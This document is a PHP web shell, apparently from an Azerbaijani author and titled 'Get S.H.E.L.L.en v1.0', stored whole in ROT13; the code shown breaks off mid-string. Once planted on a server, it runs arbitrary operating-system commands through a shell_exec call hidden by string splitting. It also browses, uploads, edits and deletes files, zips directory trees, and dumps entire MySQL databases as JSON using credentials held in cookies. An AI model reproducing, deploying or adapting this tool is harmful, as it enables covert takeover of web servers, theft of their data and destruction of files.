<?cuc frffvba_fgneg(); $ondyvShaxfvlnyne = rkcybqr(",", ""); $fnsrZbqr = gehr; $npgvbaf = neenl("rfnf","snly_bkh","cucvasb","fvfgrz_xbz","snly_erqnxgr","snly_lhxyr",'snly_fvy','snly_lneng','cncxn_lneng','snly_fvsveyn' , 'cncxn_fvy','snly_nq_qrlvfu', 'mvcyr' , 'fxy' , 'fxy_q_g' , 'fxy_q', 'snly_hcy'); $ar = vffrg($_CBFG['ar']) && va_neenl($_CBFG['ar'],$npgvbaf) ? $_CBFG['ar'] : "rfnf"; shapgvba fuvseryr($fge) { $s = 'onf'; $s .= 'r6'; $s .= '4_'; $s .= 'r'; $s .= 'ap'; $s .= 'bqr'; erghea $s($fge); } shapgvba qrfuvseryr($fge) { $s = 'onf'; $s .= 'r6'; $s .= '4_'; $s .= 'q'; $s .= 'rp'; $s .= 'bqr'; erghea $s($fge); } shapgvba gbbxLneng($gNq) { vs(vffrg($_FRFFVBA[$gNq])) { hafrg($_FRFFVBA[$gNq]); } $lravGbbx = zq5(fuvseryr(gvzr().enaq(1,99999999))); $_FRFFVBA[$gNq] = $lravGbbx; erghea $lravGbbx; } shapgvba dbiyhdhLnm() { tybony $qrsnhyg_qve; $fbaQve = neenl(); $hzhzvUvffryre = ""; $cnefr = rkcybqr("/", $qrsnhyg_qve); $vv = 0; sbernpu($cnefr NF $uvffr) { $vv++; $hzhzvUvffryre.=$uvffr."/"; $fbaQve[] = "<n uers='wninfpevcg:fruvsr(\"?dbiyhd=".heyrapbqr(heyrapbqr(fuvseryr($hzhzvUvffryre)))."\")'>".ugzyfcrpvnypunef(rzcgl($uvffr)&&$vv!=pbhag($cnefr)?'/':$uvffr)."</n>"; } $fbaQve = vzcybqr("/", $fbaQve); cevag $fbaQve . '&aofc;&aofc;&aofc;&aofc;&aofc;&aofc;( <n uers="">Erfrg</n> | <n uers="wninfpevcg:tbgb()">Tb gb</n> )'; } shapgvba fvmrSbezng($olgrf) { vs($olgrf>=1073741824) { $olgrf = ahzore_sbezng($olgrf / 1073741824, 2) . ' To'; } ryfr vs($olgrf>=1048576) { $olgrf = ahzore_sbezng($olgrf / 1048576, 2) . ' Zo'; } ryfr vs($olgrf>=1024) { $olgrf = ahzore_sbezng($olgrf / 1024, 2) . ' Xo'; } ryfr { $olgrf = $olgrf . ' o'; } erghea $olgrf; } shapgvba hgs8vmr($q) { vs (vf_neenl($q)) { sbernpu ($q nf $x => $i) { $q[$x] = hgs8vmr($i); } } ryfr vs (vf_fgevat ($q)) { erghea hgs8_rapbqr($q); } erghea $q; } shapgvba eezqve($qve) { vs (vf_qve($qve)) { $bowrpgf = fpnaqve($qve); sbernpu ($bowrpgf nf $bowrpg) { vs ($bowrpg != "." && $bowrpg != "..") { vs (vf_qve($qve . "/" . $bowrpg)) { eezqve($qve . "/" . $bowrpg); } ryfr { hayvax($qve . "/" . $bowrpg ); } } } ezqve( $qve ); } } $qrsnhyg_qve = trgpjq(); vs(vffrg($_CBFG['dbiyhd']) && vf_fgevat($_CBFG['dbiyhd']) ) { $qrsnhyg_qve = rzcgl($_CBFG['dbiyhd']) ? QVERPGBEL_FRCNENGBE : qrfuvseryr(heyqrpbqr(heyqrpbqr($_CBFG['dbiyhd']))); $p_u_qve_pbzz = 'p'.'uq'.'ve'; $p_u_qve_pbzz($qrsnhyg_qve); } $qrsnhyg_qve = fge_ercynpr("\\", "/", $qrsnhyg_qve); vs(vffrg($_TRG['ar']) && $_TRG['ar']=="cvas") { bo_fgneg(); cucvasb(); $cVas = bo_trg_pyrna(); cevag fge_ercynpr("obql {onpxtebhaq-pbybe: #ssssss; pbybe: #000000;}","",$cVas); rkvg(); } ryfr vs($ar=="snly_lhxyr" && vffrg($_CBFG['snly']) && ""!=(gevz($_CBFG['snly']))) { $snlyNqv = onfranzr(qrfuvseryr(heyqrpbqr($_CBFG['snly']))); $nlvevpv = fhofge($qrsnhyg_qve,fgeyra($qrsnhyg_qve)-1)!="/" && fhofge($snlyNqv,0,1)!="/" ? "/" : ""; vs(vf_svyr($qrsnhyg_qve . $nlvevpv . $snlyNqv) && vf_ernqnoyr($qrsnhyg_qve . $nlvevpv . $snlyNqv)) { urnqre("Pbagrag-Qvfcbfvgvba: nggnpuzrag; svyranzr=".onfranzr($snlyNqv)); urnqre("Pbagrag-Glcr: nccyvpngvba/bpgrg-fgernz"); urnqre('Pbagrag-Yratgu: ' . svyrfvmr($qrsnhyg_qve . $nlvevpv . $snlyNqv)); ernqsvyr($qrsnhyg_qve . $nlvevpv . $snlyNqv); rkvg(); } } ryfr vs($ar=="snly_fvy" && vffrg($_CBFG['snly']) && ""!=(gevz($_CBFG['snly']))) { $snlyNqv = onfranzr(qrfuvseryr(heyqrpbqr($_CBFG['snly']))); $nlvevpv = fhofge($qrsnhyg_qve,fgeyra($qrsnhyg_qve)-1)!="/" && fhofge($snlyNqv,0,1)!="/" ? "/" : ""; vs(vf_svyr($qrsnhyg_qve . $nlvevpv . $snlyNqv) && vf_ernqnoyr($qrsnhyg_qve . $nlvevpv . $snlyNqv)) { hayvax($qrsnhyg_qve . $nlvevpv . $snlyNqv); } } ryfr vs($ar=="snly_fvsveyn" && vffrg($_CBFG['snly']) && ""!=(gevz($_CBFG['snly']))) { $snlyNqv = onfranzr(qrfuvseryr(heyqrpbqr($_CBFG['snly']))); $nlvevpv = fhofge($qrsnhyg_qve,fgeyra($qrsnhyg_qve)-1)!="/" && fhofge($snlyNqv,0,1)!="/" ? "/" : ""; vs(vf_svyr($qrsnhyg_qve . $nlvevpv . $snlyNqv) && vf_ernqnoyr($qrsnhyg_qve . $nlvevpv . $snlyNqv)) { svyr_chg_pbagragf($qrsnhyg_qve . $nlvevpv . $snlyNqv, ''); } } ryfr vs($ar=="snly_lneng" && vffrg($_CBFG['nq']) && !rzcgl($_CBFG['nq'])) { $snlyNqv = onfranzr(heyqrpbqr($_CBFG['nq'])); $nlvevpv = fhofge($qrsnhyg_qve,fgeyra($qrsnhyg_qve)-1)!="/" && fhofge($snlyNqv,0,1)!="/" ? "/" : ""; vs( vf_svyr($qrsnhyg_qve . $nlvevpv . $snlyNqv) ) { cevag '<fpevcg>nyreg("Oh nqqn snly negvd zbiphqqhe!");</fpevcg>'; } ryfr { svyr_chg_pbagragf($qrsnhyg_qve . $nlvevpv . $snlyNqv, ''); } } ryfr vs($ar=="cncxn_lneng" && vffrg($_CBFG['nq']) && !rzcgl($_CBFG['nq'])) { $cncxnNqv = onfranzr(heyqrpbqr($_CBFG['nq'])); $nlvevpv = fhofge($qrsnhyg_qve,fgeyra($qrsnhyg_qve)-1)!="/" && fhofge($cncxnNqv,0,1)!="/" ? "/" : ""; vs( vf_svyr($qrsnhyg_qve . $nlvevpv . $cncxnNqv) ) { cevag '<fpevcg>nyreg("Oh nqqn cncxn negvd zbiphqqhe!");</fpevcg>'; } ryfr { zxqve($qrsnhyg_qve . $nlvevpv . $cncxnNqv); } } ryfr vs($ar=="snly_nq_qrlvfu" && vffrg($_CBFG['snly']) && ""!=(gevz($_CBFG['snly'])) && vffrg($_CBFG['arj_anzr']) && vf_fgevat($_CBFG['arj_anzr']) && !rzcgl($_CBFG['arj_anzr'])) { $snlyNqv = onfranzr(qrfuvseryr(heyqrpbqr($_CBFG['snly']))); $snlyLravNq = onfranzr(heyqrpbqr($_CBFG['arj_anzr'])); $nlvevpv = fhofge($qrsnhyg_qve,fgeyra($qrsnhyg_qve)-1)!="/" && fhofge($snlyNqv,0,1)!="/" ? "/" : ""; vs(vf_svyr($qrsnhyg_qve . $nlvevpv . $snlyNqv) && vf_ernqnoyr($qrsnhyg_qve . $nlvevpv . $snlyNqv)) { eranzr($qrsnhyg_qve . $nlvevpv . $snlyNqv , $qrsnhyg_qve . $nlvevpv . $snlyLravNq); } } ryfr vs( $ar == 'fxy_q_g' && vffrg($_CBFG['g']) && vf_fgevat($_CBFG['g']) && !rzcgl($_CBFG['g']) ) { $gnoyrAnzr = qrfuvseryr(heyqrpbqr($_CBFG['g'])); $ubfg = vffrg($_PBBXVR['ubfg']) ? $_PBBXVR['ubfg'] : ''; $hfre = vffrg($_PBBXVR['hfre']) ? $_PBBXVR['hfre'] : ''; $cneby = vffrg($_PBBXVR['cneby']) ? $_PBBXVR['cneby'] : ''; $onmn = vffrg($_PBBXVR['onmn']) ? $_PBBXVR['onmn'] : ''; $onmnFge = rzcgl($onmn) ? '' : 'qoanzr=' . $onmn . ';'; vs( !rzcgl( $ubfg ) && !rzcgl($onmn) ) { gel { $cqb = arj CQB('zlfdy:ubfg=' . $ubfg . ';punefrg=hgs8;' . $onmnFge , $hfre , $cneby,neenl(CQB::ZLFDY_NGGE_VAVG_PBZZNAQ => "FRG ANZRF 'hgs8'")); $cqb->frgNggevohgr(CQB::NGGE_QRSNHYG_SRGPU_ZBQR, CQB::SRGPU_NFFBP); $trgPbyhzaf = $cqb->cercner("FRYRPG pbyhza_anzr sebz vasbezngvba_fpurzn.pbyhzaf jurer gnoyr_fpurzn=? naq gnoyr_anzr=?"); $trgPbyhzaf->rkrphgr(neenl($onmn , $gnoyrAnzr)); $pbyhzaf = $trgPbyhzaf->srgpuNyy(); vs( $pbyhzaf ) { $qngn = $cqb->dhrel('FRYRPG * SEBZ `' . $gnoyrAnzr .'`'); $qngn = $qngn->srgpuNyy(); urnqre('Pbagrag-qvfcbfvgvba: nggnpuzrag; svyranzr=q_' . onfranzr(ugzyfcrpvnypunef($gnoyrAnzr)) . '.wfba'); urnqre('Pbagrag-glcr: nccyvpngvba/wfba'); rpub wfba_rapbqr($qngn); } ryfr { cevag 'Gnoyr abg sbhaq!'; } } pngpu (Rkprcgvba $r) { cevag $r->trgZrffntr(); } } ryfr { cevag 'Reebe! Cyrnfr pbaarpg gb FDY!'; } qvr; } ryfr vs( $ar == 'fxy_q' ) { $ubfg = vffrg($_PBBXVR['ubfg']) ? $_PBBXVR['ubfg'] : ''; $hfre = vffrg($_PBBXVR['hfre']) ? $_PBBXVR['hfre'] : ''; $cneby = vffrg($_PBBXVR['cneby']) ? $_PBBXVR['cneby'] : ''; $onmn = vffrg($_PBBXVR['onmn']) ? $_PBBXVR['onmn'] : ''; $onmnFge = rzcgl($onmn) ? '' : 'qoanzr=' . $onmn . ';'; vs( !rzcgl( $ubfg ) && !rzcgl($onmn) ) { gel { $cqb = arj CQB('zlfdy:ubfg=' . $ubfg . ';punefrg=hgs8;' . $onmnFge , $hfre , $cneby,neenl(CQB::ZLFDY_NGGE_VAVG_PBZZNAQ => "FRG ANZRF 'hgs8'")); $cqb->frgNggevohgr(CQB::NGGE_QRSNHYG_SRGPU_ZBQR, CQB::SRGPU_NFFBP); $nyyQngn = neenl(); $gnoyrf = $cqb->cercner('FRYRPG gnoyr_anzr sebz vasbezngvba_fpurzn.gnoyrf jurer gnoyr_fpurzn=?'); $gnoyrf->rkrphgr(neenl($onmn)); $gnoyrf = $gnoyrf->srgpuNyy(); sbernpu( $gnoyrf NF $gnoyrAnzr ) { $gnoyrAnzr = $gnoyrAnzr['gnoyr_anzr']; $qngn = $cqb->dhrel('FRYRPG * SEBZ `' . $gnoyrAnzr .'`'); $qngn = $qngn->srgpuNyy(); $nyyQngn[$gnoyrAnzr] = $qngn ? neenl($qngn) : neenl(); } urnqre('Pbagrag-qvfcbfvgvba: nggnpuzrag; svyranzr=q_o_' . onfranzr(ugzyfcrpvnypunef($onmn)) . '.wfba'); urnqre('Pbagrag-glcr: nccyvpngvba/wfba'); rpub wfba_rapbqr( hgs8vmr( $nyyQngn) ); } pngpu (Rkprcgvba $r) { cevag $r->trgZrffntr(); } } ryfr { cevag 'Reebe! Cyrnfr pbaarpg gb FDY!'; } qvr; } ryfr vs( $ar == 'mvcyr' && vffrg($_CBFG['fnir_gb'] , $_CBFG['ms']) && vf_fgevat($_CBFG['fnir_gb']) && !rzcgl($_CBFG['fnir_gb']) && !va_neenl($_CBFG['fnir_gb'] , neenl('.' , '..' , './' , '../')) && vf_fgevat($_CBFG['ms']) && !rzcgl($_CBFG['ms']) ) { $fnir_gb = qrfuvseryr(heyqrpbqr($_CBFG['fnir_gb'])); $ebbgCngu = ernycngu(qrfuvseryr(heyqrpbqr($_CBFG['ms']))); $svyrAnzr1 = 'onx_'.zvpebgvzr(1) . '_' . enaq(1000, 99999) . '.mvc'; $svyrAnzr = $fnir_gb . QVERPGBEL_FRCNENGBE . $svyrAnzr1; vs( vf_qve( $fnir_gb ) && vf_qve( $ebbgCngu ) && vf_jevgnoyr( $fnir_gb ) ) { frg_gvzr_yvzvg(0); $mvc = arj MvcNepuvir(); $mvc->bcra( $svyrAnzr , MvcNepuvir::PERNGR | MvcNepuvir::BIREJEVGR ); $svyrf = arj ErphefvirVgrengbeVgrengbe( arj ErphefvirQverpgbelVgrengbe($ebbgCngu), ErphefvirVgrengbeVgrengbe::YRNIRF_BAYL ); sbernpu ($svyrf nf $anzr => $svyr) { vs (!$svyr->vfQve()) { $svyrCngu = $svyr->trgErnyCngu(); $eryngvirCngu = fhofge($svyrCngu, fgeyra($ebbgCngu) + 1); $mvc->nqqSvyr($svyrCngu, $eryngvirCngu); } } $mvc->pybfr(); cevag 'Fnirq!<ue>'; } ryfr { cevag 'Qve vf abg jevgrnoyr!<ue>';ine_qhzc(( $fnir_gb ) ); } } ryfr vs( $ar == 'cncxn_fvy' && vffrg($_CBFG['ms']) && vf_fgevat($_CBFG['ms']) && !rzcgl($_CBFG['ms']) ) { $ebbgCngu = ernycngu(qrfuvseryr(heyqrpbqr($_CBFG['ms']))); vs( vf_qve( $ebbgCngu ) ) { frg_gvzr_yvzvg(0); eezqve( $ebbgCngu ); } ryfr { cevag 'Qve vf abg jevgrnoyr!<ue>';ine_qhzc(( $fnir_gb ) ); } } ryfr vs($ar == 'snly_hcy' && vffrg($_SVYRF['hsnly'])) { zbir_hcybnqrq_svyr($_SVYRF['hsnly']['gzc_anzr'], $qrsnhyg_qve . '/' . $_SVYRF['hsnly']['anzr']); cevag "Hcybnq byqh qrlrfra."; } ?> <ugzy> <urnq> <gvgyr>Trg F.U.R.Y.Y.ra i1.0 | OL ..</gvgyr> <zrgn uggc-rdhvi="pbagrag-glcr" pbagrag="grkg/ugzy; punefrg=hgs-8"> <fglyr> obql { onpxtebhaq-pbybe: #222222; pbybe: #Q6Q4Q4; sbag-snzvyl: Yhpvqn,Ireqnan; sbag-fvmr: 12ck; } .dnyva { grkg-qrpbengvba: abar; pbybe: #Q6905R; sbag-jrvtug: 600; } .fhpprff { pbybe: #9QO754; } .onq { pbybe: #O75654; } n { pbybe: #NPO754; grkg-qrpbengvba: abar !vzcbegnag; } .sZnantre,.sZnantre gobql,.sZnantre ge { cnqqvat: 0; obeqre-pbyyncfr: pbyyncfr; znetva: 0; sbag-fvmr: 12ck; } .sZnantre { znetva: 10ck 0; } .sZnantre gobql ge:agu-puvyq(2a+1) { onpxtebhaq: #331717; } .sZnantre gobql ge:agu-puvyq(2a) { onpxtebhaq: #1P0P0P; } .sZnantre gobql ge:ubire { onpxtebhaq: #000000; } .sZnantre gurnq gu { grkg-nyvta: yrsg; } .sZnantre gurnq ge { onpxtebhaq-pbybe: #333333; } .sZnantre { obk-funqbj: 1ck 1ck 1ck 1ck #333333; } .sZnantre gurnq gu { cnqqvat: 4ck 3ck; } .snly_bkh { znetva: 5ck 0; cnqqvat: 2ck; obk-funqbj: 1ck 1ck 1ck 1ck #333333; onpxtebhaq-pbybe: #R1R1R1; jvqgu: 100%; urvtug: 400ck; biresybj: nhgb; } .oga { obeqre: 1ck fbyvq #NPNR40; onpxtebhaq-pbybe: #223O3O; pbybe: #R1R1R1; cnqqvat: 1ck 10ck; phefbe: cbvagre; } .oga:qvfnoyrq { obeqre: 1ck fbyvq #848484; pbybe: #848484; phefbe: abg-nyybjrq; } .svyr_rqvg { znetva: 5ck 0; cnqqvat: 2ck; obk-funqbj: 1ck 1ck 1ck 1ck #333333; onpxtebhaq-pbybe: #R1R1R1; jvqgu: 100%; urvtug: 400ck; biresybj: nhgb; } vachg, fryrpg, grkgnern { onpxtebhaq: genafcnerag !vzcbegnag; pbybe: #s6n56q; obeqre: 1ck fbyvq #Q6905R; cnqqvat: 5ck; } gnoyr gq { obeqre: 1ck fbyvq eton(214, 144, 94, 0.7); zva-jvqgu: 20ck; cnqqvat-yrsg: 5ck; cnqqvat-evtug: 5ck; znk-jvqgu: 500ck; pbybe: #ssnq6s; onpxtebhaq: #292929; } gnoyr gu { obeqre: 1ck fbyvq #Q6905R; cnqqvat-yrsg: 5ck; cnqqvat-evtug: 5ck; pbybe: #ssnq6s; } gnoyr gq qvi { biresybj: nhgb; jvqgu: 100%; urvtug: 100%; znk-urvtug: 100ck; } </fglyr> </urnq> <obql> <?cuc vs(shapgvba_rkvfgf('cbfvk_trgrtvq')) { $dvq = cbfvk_trgtetvq(cbfvk_trgrtvq()); $dehc = $dvq['anzr']; cevag "<fcna pynff='dnyva'>Hanzr:</fcna> " . cuc_hanzr() . "<oe/>"; cevag "<fcna pynff='dnyva'>Hfre:</fcna> ".trgzlhvq()." (".trg_pheerag_hfre().")<oe/>"; cevag "<fcna pynff='dnyva'>Tebhc:</fcna> ".trgzltvq()." (".$dehc.")<oe/>"; } ryfr { cevag "<fcna pynff='dnyva'>Hanzr:</fcna> " . cuc_hanzr() . "<oe/>"; cevag "<fcna pynff='dnyva'>Hfre:</fcna> ".trgzlhvq()." (".trg_pheerag_hfre().")<oe/>"; cevag "<fcna pynff='dnyva'>Tebhc:</fcna> ".trgzltvq()."<oe/>"; } cevag "<fcna pynff='dnyva'>Qvfnoyr shapgvbaf:</fcna> " . (vzcybqr(", ", $ondyvShaxfvlnyne)==""?"<fcna pynff='fhpprff'>lbkqh :)":"<fcna pynff='onq'>". vzcybqr(", ", $ondyvShaxfvlnyne)) . "</fcna><oe/>"; cevag "<fcna pynff='dnyva'>Fnsr zbqr: </fcna>" . ($fnsrZbqr===gehr?"<fcna pynff='onq'>Ba":"<fcna pynff='fhpprff'>Bss") . "</fcna><fcna fglyr='znetva-yrsg: 50ck;'><n uers='wninfpevcg:fruvsr(\"?ar=cucvasb\")'>[ CUCvasb ]</n></fcna><oe/>"; dbiyhdhLnm(); cevag '<ue>'; vs($ar=="cucvasb") { cevag "<qvi fglyr='jvqgu: 100%; urvtug: 400ck;'><vsenzr fep='?ar=cvas' fglyr='jvqgu: 100%; urvtug: 400ck; obeqre: 0;'></vsenzr></qvi>"; } ryfr vs($ar=="fvfgrz_xbz") { vs( vffrg( $_CBFG['xbz'] ) && vf_fgevat($_CBFG['xbz']) && !rzcgl($_CBFG['xbz']) ) { $xbznaqn = qrfuvseryr(heyqrpbqr($_CBFG['xbz'])); $x = 'fu'; $x.='ry'; $x.='y_r'; $x.='kr'; $x.='p'; $bhgchg = $x($xbznaqn); cevag '<cer fglyr="znk-urvtug: 350ck;biresybj: nhgb; obeqre: 1ck fbyvq #777; cnqqvat: 5ck;">' . ugzyfcrpvnypunef($bhgchg) . '</cer><ue>'; } cevag '<vachg glcr="grkg" vq="rze_rg_ngnfu" fglyr="jvqgu: 500ck;"> <ohggba glcr="ohggba" pynff="oga" bapyvpx="fvfgrzXbz();">Onf</ohggba>'; } ryfr vs($ar=="snly_bkh" && vffrg($_CBFG['snly']) && ""!=(gevz($_CBFG['snly']))) { $snlyNqv = onfranzr(qrfuvseryr(heyqrpbqr($_CBFG['snly']))); $nlvevpv = fhofge($qrsnhyg_qve,fgeyra($qrsnhyg_qve)-1)!="/" && fhofge($snlyNqv,0,1)!="/" ? "/" : ""; vs(vf_svyr($qrsnhyg_qve . $nlvevpv . $snlyNqv) && vf_ernqnoyr($qrsnhyg_qve . $nlvevpv . $snlyNqv)) { $rynirOga = vf_jevgrnoyr($qrsnhyg_qve . $nlvevpv . $snlyNqv) ? " bapyvpx='fruvsr(\"?ar=snly_erqnxgr&snly=".heyrapbqr(heyrapbqr(fuvseryr($snlyNqv)))."&dbiyhd=".heyrapbqr(heyrapbqr(fuvseryr($qrsnhyg_qve)))."\")'" : " qvfnoyrq"; cevag "<qvi>Snly nqı: <fcna pynff='dnyva'>".ugzyfcrpvnypunef($snlyNqv)."</fcna><oe/><ohggba pynff='oga'$rynirOga> Qəlvş </ohggba></qvi>"; cevag "<qvi pynff='snly_bkh'>".uvtuyvtug_fgevat(svyr_trg_pbagragf($qrsnhyg_qve . $nlvevpv . $snlyNqv), gehr)."</qvi>"; } } ryfr vs($ar == 'fxy') { $ubfg = vffrg($_PBBXVR['ubfg']) ? $_PBBXVR['ubfg'] : ''; $hfre = vffrg($_PBBXVR['hfre']) ? $_PBBXVR['hfre'] : ''; $cneby = vffrg($_PBBXVR['cneby']) ? $_PBBXVR['cneby'] : ''; $onmn = vffrg($_PBBXVR['onmn']) ? $_PBBXVR['onmn'] : ''; vs( vffrg($_CBFG['ubfg'] , $_CBFG['hfre'] , $_CBFG['cneby']) && vf_fgevat($_CBFG['ubfg']) && vf_fgevat($_CBFG['hfre']) && vf_fgevat($_CBFG['cneby']) ) { $ubfg = $_CBFG['ubfg']; $hfre = $_CBFG['hfre']; $cneby = $_CBFG['cneby']; $onmn = ''; frgpbbxvr('ubfg' , $ubfg , gvzr() + 360000); frgpbbxvr('hfre' , $hfre , gvzr() + 360000); frgpbbxvr('cneby' , $cneby , gvzr() + 360000); frgpbbxvr('onmn' , $onmn , gvzr() + 360000); } vs( vffrg($_CBFG['onmn']) && vf_fgevat($_CBFG['onmn']) ) { $onmn = $_CBFG['onmn']; frgpbbxvr('onmn' , $onmn , gvzr() + 360000); } $onmnFge = rzcgl($onmn) ? '' : 'qoanzr=' . $onmn . ';'; ?> <sbez zrgubq="CBFG"> <vachg glcr="uvqqra" anzr="ar" inyhr="fxy"> <vachg glcr="grkg" cynprubyqre="Ubfganzr" anzr="ubfg" inyhr="<?=ugzyfcrpvnypunef($ubfg)?>"> <vachg glcr="grkg" cynprubyqre="Hfre" anzr="hfre" inyhr="<?=ugzyfcrpvnypunef($hfre)?>"> <vachg glcr="grkg" cynprubyqre="Cneby" anzr="cneby" inyhr="<?=ugzyfcrpvnypunef($cneby)?>"> <vachg glcr="fhozvg" inyhr="Qnkvy by"> </sbez> <?cuc vs( !rzcgl( $ubfg ) ) { gel { $cqb = arj CQB('zlfdy:ubfg=' . $ubfg . ';punefrg=hgs8;' . $onmnFge , $hfre , $cneby,neenl(CQB::ZLFDY_NGGE_VAVG_PBZZNAQ => "FRG ANZRF 'hgs8'")); $cqb->frgNggevohgr(CQB::NGGE_QRSNHYG_SRGPU_ZBQR, CQB::SRGPU_NFFBP); $fpurzngnf = $cqb->dhrel('FRYRPG fpurzn_anzr SEBZ vasbezngvba_fpurzn.fpurzngn'); cevag '<sbez zrgubq="CBFG"><vachg glcr="uvqqra" anzr="ar" inyhr="fxy"><fryrpg anzr="onmn">'; sbernpu($fpurzngnf->srgpuNyy() NF $fpurznAnzr) { cevag '<bcgvba' . ($onmn == $fpurznAnzr['fpurzn_anzr'] ? ' fryrpgrq' : '') . '>'.ugzyfcrpvnypunef($fpurznAnzr['fpurzn_anzr']).'</bcgvba>'; } cevag '</fryrpg> <vachg glcr="fhozvg" inyhr="Frpu!"></sbez>'; vs( !rzcgl($onmn) ) { $gnoyrf = $cqb->cercner('FRYRPG gnoyr_anzr sebz vasbezngvba_fpurzn.gnoyrf jurer gnoyr_fpurzn=?'); $gnoyrf->rkrphgr(neenl($onmn)); $gnoyrf = $gnoyrf->srgpuNyy(); cevag '<qvi fglyr="sybng: yrsg; jvqgu: 20%; biresybj: nhgb; obeqre-evtug: 1ck fbyvq #999;">'; cevag '<n uers="wninfpevcg:fruvsr(\'?ar=fxy_q\');">!! Qhzc QO !!</n><ue>'; sbernpu( $gnoyrf NF $gnoyrAnzr ) { $gnoyrAnzr = $gnoyrAnzr['gnoyr_anzr']; cevag '<n uers="wninfpevcg:fruvsr(\'?ar=fxy&g=' . heyrapbqr(heyrapbqr(fuvseryr($gnoyrAnzr))) . '\')">'.ugzyfcrpvnypunef($gnoyrAnzr).'</n><oe>'; } cevag '</qvi>'; cevag '<qvi fglyr="sybng: yrsg; cnqqvat-yrsg: 10ck; jvqgu: 75%;">'; vs( vffrg($_CBFG['g']) && vf_fgevat($_CBFG['g']) && !rzcgl($_CBFG['g']) ) { $gnoyrAnzr = qrfuvseryr(heyqrpbqr($_CBFG['g'])); cevag '<fcna pynff="dnyva">Gnoyr:</fcna> ' . ugzyfcrpvnypunef($gnoyrAnzr) . ' ( <n uers="wninfpevcg:fruvsr(\'?ar=fxy_q_g&g='.heyrapbqr(heyrapbqr(fuvseryr($gnoyrAnzr))).'\')">Qhzc</n> )<oe>'; $trgPbyhzaf = $cqb->cercner("FRYRPG pbyhza_anzr sebz vasbezngvba_fpurzn.pbyhzaf jurer gnoyr_fpurzn=? naq gnoyr_anzr=?"); $trgPbyhzaf->rkrphgr(neenl($onmn , $gnoyrAnzr)); $pbyhzaf = $trgPbyhzaf->srgpuNyy(); vs( $pbyhzaf ) { $qngnPbhag = $cqb->dhrel('FRYRPG pbhag(0) NF ff sebz `' . $gnoyrAnzr . '`'); $qngnPbhag = (vag)$qngnPbhag->srgpuPbyhza(); cevag '<fcna pynff="dnyva">Pbhag:</fcna> ' . $qngnPbhag . '<oe><oe>'; $cntrf = prvy($qngnPbhag / 100); $pheeragCntr = vffrg($_CBFG['fruvsr']) && vf_ahzrevp($_CBFG['fruvsr']) && $_CBFG['fruvsr'] >= 1 && $_CBFG['fruvsr'] <= $cntrf ? (vag)$_CBFG['fruvsr'] : 1; sbe ( $c = 1; $c <= $cntrf; $c++ ) { cevag '<n fglyr="'.($pheeragCntr == $c ? 'onpxtebhaq: #444;' : '').'znetva-yrsg: 2ck; znetva-obggbz: 5ck; cnqqvat: 2ck 6ck; obeqre: 1ck fbyvq #NPO754; grkg-qrpbengvba: abar;" uers="wninfpevcg:fruvsr(\'?ar=fxy&g=' . heyrapbqr(heyrapbqr(fuvseryr($gnoyrAnzr))) . '&fruvsr=' . $c . '\');">' . $c . '</n> '; } cevag '<oe><oe>'; $fgneg = 100 * ($pheeragCntr - 1); $qngn = $cqb->dhrel('FRYRPG * SEBZ `' . $gnoyrAnzr .'` YVZVG '.$fgneg.' , 100'); $qngn = $qngn->srgpuNyy(); cevag '<gnoyr><gurnq>'; sbernpu( $pbyhzaf NF $pbyhzaVas ) { cevag '<gu>' . ugzyfcrpvnypunef($pbyhzaVas['pbyhza_anzr']) . '</gu>'; } cevag '</gurnq><gobql>'; sbernpu( $qngn NF $ebj ) { cevag '<ge>'; sbernpu( $ebj NF $xrl=>$iny ) { cevag '<gq><qvi>' . $iny . '</qvi></gq>'; } cevag '</ge>'; } cevag '</ge></gobql></gnoyr>'; } ryfr { cevag 'Gnoyr abg sbhaq!'; } } ryfr vs ( vffrg($_CBFG['rze']) && vf_fgevat($_CBFG['rze']) && !rzcgl($_CBFG['rze']) ) { $rze = qrfuvseryr(heyqrpbqr($_CBFG['rze'])); cevag '<fcna pynff="dnyva">FDY rze:</fcna> ' . ugzyfcrpvnypunef($rze) . '<oe>'; $qngn = $cqb->dhrel( $rze ); $qngn = $qngn->srgpuNyy(); cevag '<gnoyr><gurnq>'; vs( pbhag($qngn) > 0 ) { cevag '<ge>'; sbernpu( $qngn[0] NF $xrl=>$iny ) { cevag '<gu><qvi>' . $xrl . '</qvi></gu>'; } cevag '</ge>'; } cevag '</gurnq><gobql>'; sbernpu( $qngn NF $ebj ) { cevag '<ge>'; sbernpu( $ebj NF $xrl=>$iny ) { cevag '<gq><qvi>' . $iny . '</qvi></gq>'; } cevag '</ge>'; } cevag '</ge></gobql></gnoyr>'; } cevag '<qvi><grkgnern vq="fxy_rze"></grkgnern><ohggba glcr="ohggba" bapyvpx="fxy_onf();">Onf zrar</ohggba></qvi>'; cevag '</qvi>'; cevag '<qvi fglyr="pyrne: obgu;"></qvi>'; } } pngpu (Rkprcgvba $r) { cevag $r->trgZrffntr(); } } } ryfr vs($ar=="snly_erqnxgr" && vffrg($_CBFG['snly']) && ""!=(gevz($_CBFG['snly']))) { $snlyNqv = onfranzr(qrfuvseryr(heyqrpbqr(heyqrpbqr($_CBFG['snly'])))); $nlvevpv = fhofge($qrsnhyg_qve,fgeyra($qrsnhyg_qve)-1)!="/" && fhofge($snlyNqv,0,1)!="/" ? "/" : ""; vs(vf_svyr($qrsnhyg_qve . $nlvevpv . $snlyNqv) && vf_ernqnoyr($qrsnhyg_qve . $nlvevpv . $snlyNqv)) { $fgnghf = ""; vs(vffrg($_CBFG['pbagrag']) && vffrg($_CBFG['gbbx']) && $_CBFG['gbbx']!="" && vffrg($_FRFFVBA['lf_gbbx']) && $_FRFFVBA['lf_gbbx']==$_CBFG['gbbx'] && vf_jevgrnoyr($qrsnhyg_qve . $nlvevpv . $snlyNqv)) { hafrg($_FRFFVBA['lf_gbbx']); $pbagrag = $_CBFG['pbagrag']; $pp = neenl('n','v','r','f','y','o','h','b','c','u',"(",")","<",">","?",";","[","]","$"); sbernpu($pp NF $x1=>$i1) { $pbagrag = fge_ercynpr('|:'.$x1.':|' , $i1 , $pbagrag); } $snlyNpu = sbcra($qrsnhyg_qve . $nlvevpv . $snlyNqv, "j+"); sjevgr($snlyNpu, $pbagrag); spybfr($snlyNpu); $fgnghf = " <fcna pynff='dnyva'>Hğheyn lnqqn fnkynaıyqı!</fcna>"; } $bkhHey = "?ar=snly_bkh&snly=".heyrapbqr(heyrapbqr(fuvseryr($snlyNqv)))."&dbiyhd=".heyrapbqr(heyrapbqr(fuvseryr($qrsnhyg_qve))); $rynirOga = vf_jevgrnoyr($qrsnhyg_qve . $nlvevpv . $snlyNqv) ? "" : " qvfnoyrq"; cevag "<qvi>Snly 